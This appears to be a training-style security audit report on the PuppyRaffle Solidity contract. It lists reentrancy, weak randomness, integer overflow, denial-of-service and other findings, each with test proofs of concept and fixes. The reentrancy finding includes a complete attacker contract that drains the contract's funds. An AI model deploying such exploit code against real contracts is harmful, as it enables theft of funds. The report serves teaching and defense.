Protocol Audit Report

Version 1.0

Cyfrin.io

October 21, 2024

Protocol Audit Report

Cyfrin.io

nov 20, 2024

Prepared by: Cyfrin Lead Auditors:

- Joran Vanwesenbeeck

Table of Contents

    * [H-4] `PuppyRaffle::refund` replaces the players address with address(0) which causes an incorrect amount to be paid out to the winner which will also cause the `PuppyRaffle::withdrawFees` to always revert
  - Medium
    * [M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` causes increasing GasPrice the more people entered causing a potential denial of service (DoS)
    * [M-2] Unsafe cast of `uint256` to `uint64` in `selectWinner`
    * [M-3] Smart contract wallet raffle winners without a `recieve` or `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
  - Gas
    * [G-1] Unchanged state variables should be declared as constant or immutable
    * [G-2] Storage variables in a loop should be cashed
  - Informational
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of solidity is not recommended.
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f
- In Scope:

Scope

```
./src/
 PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	1
Info	7
Total	15

Findings

High

[H-1]] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `refund` function contains a potential reentrancy vulnerability. The issue arises because the function does not follow CEI(Checks, Effects and Interactions) and therefor makes an external to the `msg.sender` before updating the state to mark the player as refunded. This allows a malicious player which has a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again to repeatedly withdraw more funds untill the funds are fully drained.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

```

```
        // @audit: Reentrancy
        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

Impact: All the money on the contract could be stolen by a malicious participant.

Proof of Concept:

1. Users enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls the `refund` function
5. This will trigger the `recieve`/`fallback` function on the attackers contract
6. Which will again call the `refund` function.
7. Draining the contract balance.

PoC Place the following test and attacker contract into `PuppyRaffleTest.t.sol`.

```
function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("startingAttackContractBalance: ",
            startingAttackContractBalance);
        console.log("startingPuppyRaffleBalance: ",
            startingPuppyRaffleBalance);

```

```
        console.log("ending attacker contract balance", address(attackerContract).balance);
        console.log("ending puppy raffle balance", address(puppyRaffle).balance);
    }
```

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealmoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealmoney();
    }

    receive() external payable {
        _stealmoney();
    }
}
```

Recommended Mitigation:
There are 2 different ways to protect yourself against reentrancy attacks:

1. **CEI (Checks, Effects, Interactions)** Making sure the effects happen before the interactions, so you would update the users balance before refunding him.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
```

```
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

2. **Use Openzeppelin NonReentrant modifier**.

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence & predict the winner and influence & predict the winning puppy

Description: Hashig `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users/ miners can manipulate these values or know them ahead of time to choose the winner of the raffle themselfs.

Note This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as who wins the raffles.

Proof of concept:

1. validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they dont like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector

Recommended Mitigation=+: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer Overflow of `PuppyRaffle::TotalFees` in `PuppyRaffle::selectWinner` causing incorrect Fee Acummulation

Description: The `selectWinner` function accumulates fees using a `uint64` type for `totalFees`. This will lead to an overflow when `totalFees` exceeds the maximum value that can be stored in a `uint64`.

Once this limit is reached, in solidity 0.7.6 the value of `totalFees` will wrap back to 0, effectively resetting the accumulated fees, which could lead to significant financial losses and inaccurate accounting.

```
uint256 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar +1
// 0
```

Impact: Once the total amount of fees collected exceeds the maximum value that can be stored in a `uint64`, an overflow occurs, resetting the `totalFees` to 0. This leads to the contract owner losing all fees accumulated up to that point. This vulnerability occurs when enough players participate, depending on the size of the entranceFee. As a result, the owner will fail to collect the expected fees, leading to significant financial loss. This issue impacts the contract's ability to properly account for and manage funds, making it a critical flaw.

Proof of Concept:

If we let 93 People enter:
-expected fee : 18600000000000000000
-actual fee : 153255926290448384

with the max value that can be stored in a `uint64` = 18,446,744,073,709,551,615
and if we do maxValueUint64 - ExpectedFee = 153255926290448384 showing that `totalFees` wrapped around back to 0.

Additionally you will not be able to withdraw the fees when `totalFees` wraps around back to 0, due to following line of code in `PuppyRaffle::withdrawFees`

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
    ");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. Also, at some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
 function test_integerOverFlow() public {
        // we let 95 people enter
        uint256 playersNum = 93;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
```

```
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // now we pick a winner
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 totalFees = puppyRaffle.totalFees();
        console.log("totalFees: ", totalFees);

        uint256 expectedFee = ((entranceFee * playersNum) * 20) / 100;
        console.log("expectedFees: ", expectedFee);
        assert(totalFees < expectedFee);
    }
```

Recommended Mitigation:

To avoid this overflow issue:

1. Change the `totalFees` variable from `uint64` to `uint256`, which has a much larger capacity and will handle larger values with less risk of overflowing. Additionally
2. consider upgrading to Solidity 0.8.0 or higher, where overflows and underflows automatically cause a revert, providing built-in protection against these issues.
3. You could also use the `safeMath` library of OpenZeppelin for versions 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
4. Remove the balance check from `Puppyraffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

there are more attack vectors with that final requirre, so we recommend removing it regardless.

[H-4] `PuppyRaffle::refund` replaces the players address with address(0) which causes an incorrect amount to be paid out to the winner which will also cause the `PuppyRaffle::withdrawFees` to always revert

Description:

When a player calls the `PuppyRaffle::refund` function, his index value will be replaced with the zero address, instead of removing him from the `players` array.

```
players[playerIndex] = address(0);
```

Therefor not changing the length of the `players` array. Possibly causing the `PuppyRaffle::selectWinner` to revert when more than 20% of the players have refunded.

```
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        (bool success,) = winner.call{value: prizePool}("");
```

But let's imagine that only 1 player out of a 100 players calls the `refund` function. This player will then be paid out as if there were a 100 players competing in stead of 99. Which makes that the winner will get paid out more than he actually should, and the remaining money on the contract which are the fees, will not match the `totalFees` causing the `PuppyRaffle::withdrawFees` to always revert due to the following line :

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
      ");
```

Impact: Once one person calls the `PuppyRaffle::refund` function, the winning players will be paid out an incorrect amount, which makes that `totalFees` will not exactly match the balance on the contract. Making it impossible to withdraw the fees and so making this project not generate any revenue.

Proof of Concept: This test demonstrates that if more than 20% of the players refund, that the `PuppyRaffle::selectWinner` function will revert

```
function testSelectWinnerRevertsWhenToManyPlayersRefunded() public
    playersEntered {
        //there are currently 4 players in the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        vm.prank(playerOne);
        puppyRaffle.refund(0);

        // reverts because more than 20% of the players refunded,
            causing not enough balance on the contract
        // to pay out the winner
        vm.expectRevert();
        puppyRaffle.selectWinner();
    }
```

And this test demonstrates that if even 1 person refunds, that the `PuppyRaffle::withdrawFees` function will always revert:

```
 function testWithDrawFeesRevertsWhenaPlayerRefunded() public
    playersEntered {
        // we add another 2 players into the raffle
        address[] memory players = new address[](2);
        players[0] = address(5);
        players[1] = address(6);
```

```
        puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        vm.prank(playerOne);
        puppyRaffle.refund(0);

        puppyRaffle.selectWinner();

        vm.expectRevert();
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

You could keep track of the amount of people that have refunded, and then substract this amount from the players.length in the `PuppyRaffle::selectWinner` function.

```
-           uint256 totalAmountCollected = players.length * entranceFee
    ;
+           uint256 totalAmountCollected = (players.length -
    playersRefunded)* entranceFee;
```

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` causes increasing GasPrice the more people entered causing a potential denial of service (DoS)

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: In the `enterRaffle` function, the contract accepts an array of players and pushes them into the `players` array. Then, it checks for duplicate players by performing a nested loop over the `players` array. As the number of players increases, the gas cost required to execute this function will grow quadratically, potentially making it prohibitively expensive for further entries as it may run out of gas.

```
// @audit DoS attack
-> for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle:
                Duplicate player");
        }
    }
```

This can lead to a Denial of Service (DoS) attack if a malicious actor submits a large array of players, preventing future users from being able to call the `enterRaffle` function, as the transaction would consume all available gas and revert. This attack becomes more severe as the `players` array grows, leading to the eventual inability of new players to join the raffle.

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle, causing a disadvantage to later entrants an a rush to enter the raffle at the start.

An attacker might make the `PuppyRaffle::players` array so big that no more players can enter due to a Dos, or that no more players enter due to the high gas cost, guaranteeing themselfs to win.

Proof of Concept:

if we have 2 sets of 100 players enter, the gas cost will be as such:

- 1st 100 players : 6252047
- 2nd 100 players : 18068137

This is more than a 200% increase in gasprice for the 2nd two hundred players.

PoC Place the following test into `PuppyRaffleTest.t.sol`

```
function test_Dos() public {
        vm.txGasPrice(1); // sets the gasprice of the next transaction
            to 1 wei
        // lets enter a 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // see how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasCost1 = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost for the first 100 players: ", gasCost1);

        // //  lets enter another another 100 players
        address[] memory players2 = new address[](playersNum);
        for (uint256 i = 0; i < players2.length; i++) {
            players2[i] = address(i + playersNum);
        }
        uint256 gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players2);
        uint256 gasEnd2 = gasleft();
        uint256 gasCost2 = (gasStart2 - gasEnd2) * tx.gasprice;
        console.log("Gas cost for the second 100 players: ", gasCost2);
        assert(gasCost1 < gasCost2);
```

```
        }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesnt necesarily prevent the same person form entering. It just prevents the same wallet address from entering.
2. Consider using a mapping to check for duplicates. This would allow constant time look up of whether a user has already entered.

```
+     mapping(address => uint256) public addressToRaffleId;
+     uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-             }
-         }
    .
    .
    .
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }


        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

Alternativly, you could use [OpenZeppelin's `EnumerableSet` library] (http://docs.openzeppelin.com/contracts/4.x/api/

[M-2] Unsafe cast of `uint256` to `uint64` in `selectWinner`

Description:
In the `selectWinner` function, the code attempts to cast a `uint256` value into a `uint64` when accumulating the fees with the line:

```
totalFees = totalFees + uint64(fee);
```

Since the fee is originally calculated as a uint256, casting it to uint64 can cause an overflow if the fee value exceeds the maximum limit of a uint64. This would result in the fee wrapping around to a much smaller value, resetting it unexpectedly and leading to incorrect fee calculations.

Impact: The improper casting of a `uint256` into a `uint64` can lead to a situation where the fee value wraps around to a smaller number or even zero, leading to a significant underreporting of fees. As a result, the contract owner would lose a substantial portion of the accumulated fees. This issue can occur with larger raffle sizes or higher `entranceFee` values, making the contract vulnerable to financial discrepancies even in normal operations. The wrapping would effectively limit the maximum fees the contract can handle, restricting its scalability and resulting in potential financial losses.

Recommended Mitigation: To avoid this issue, do not cast the fee value to uint64. Instead, just keep it as a uint256.

[M-3] Smart contract wallet raffle winners without a `recieve` or `fallback` function will block the start of a new contest

Description: the `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: the `puppyRaffle::selectWinner` funcion could revert many times, making a lottery reset difficilt.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contracts enter the raffle without a fallback or recieve function
2. the lottery ends

3. the `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation:

1. Do not allow smart contract wallets entrants (not recommended)
2. Create a mapping of addresses –> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (recommended) > pull over push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 when the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (
    uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 will incorrectly think that he did not enter the raffle, and might attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert when a player is not in the array in stead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared as constant or immutable

reading from storage is much more expensive than reading from a constant of immutable variable.

Instances: `PuppyRaffle::raffleDuration` should be `immutable` `PuppyRafle::commonImageUri` should be `constant` `PuppyRaffle::rareImageUri` should be `constant` `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cashed

EveryTime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playerLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                  require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
              }
          }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts in stead of a wide version. For example, instead of `pragma solidity ^0.8.0`, use `pragma solidtiy 0.8.0;`

- Found in src/PuppyRaffle.sol

[I-2] Using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity Security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation:

Deploy with any of the following solidity versions:

`0.8.18` the recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 67

  ```
              feeAddress = _feeAddress;
  ```

```
- Found in src/PuppyRaffle.sol [Line: 195](src/PuppyRaffle.sol#L195)

  ```solidity
          feeAddress = newFeeAddress;
```

```
### [I-4] `PuppyRaffle::selectWinner` should follow CEI

It's best to keep code clean and follow CEI

```diff
-         (bool success,) = winner.call{value: prizePool}("");
-         require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+         (bool success,) = winner.call{value: prizePool}("");
+         require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Example:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed